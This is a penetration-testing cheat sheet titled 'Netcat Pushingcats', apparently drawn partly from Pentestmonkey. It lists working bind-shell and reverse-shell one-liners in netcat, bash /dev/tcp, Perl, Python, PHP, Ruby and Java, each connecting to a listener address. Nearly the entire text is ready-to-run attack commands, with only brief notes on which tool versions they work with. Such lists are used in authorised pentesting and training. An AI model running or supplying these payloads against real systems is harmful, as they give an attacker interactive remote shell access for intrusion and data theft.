Netcat Pushingcats
Contents
Basic Netcat
Listen connection shell Server1:
nc -l -p 8888 -e /bin/sh
Server2:
nc 222.222.222.222 8888
Netcat Send Shell to listener.
Listener
#nc -l -n -vv -p 8888
Sender
#/bin/bash -i > /dev/tcp/22.222.22.222/8888 0<&1 2>&1
Another method of reverse shell in bash
1st method, you get the prompt “as if you were here”, but commands are echoed :
exec 0</dev/tcp/<HOST>/<PORT> 2>&0 >&2
2nd method, less sexy, but no echo.
/bin/bash 0</dev/tcp/<HOST>/<PORT> 2>&0 >&2
Pentestmonkey
Bash
Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
PERL
Here’s a shorter, feature-free version of the perl-reverse-shell:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
There’s also an alternative PERL revere shell here.
Python
This was tested under Linux / Python 2.7:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP
This code assumes that the TCP connection uses file descriptor 3. This worked on my test system. If it doesn’t work, try 4, 5, 6…
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
If you want a .php file to upload, see the more featureful and robust php-reverse-shell.
Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Netcat
Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.
nc -e /bin/sh 10.0.0.1 1234
If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
Java
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()
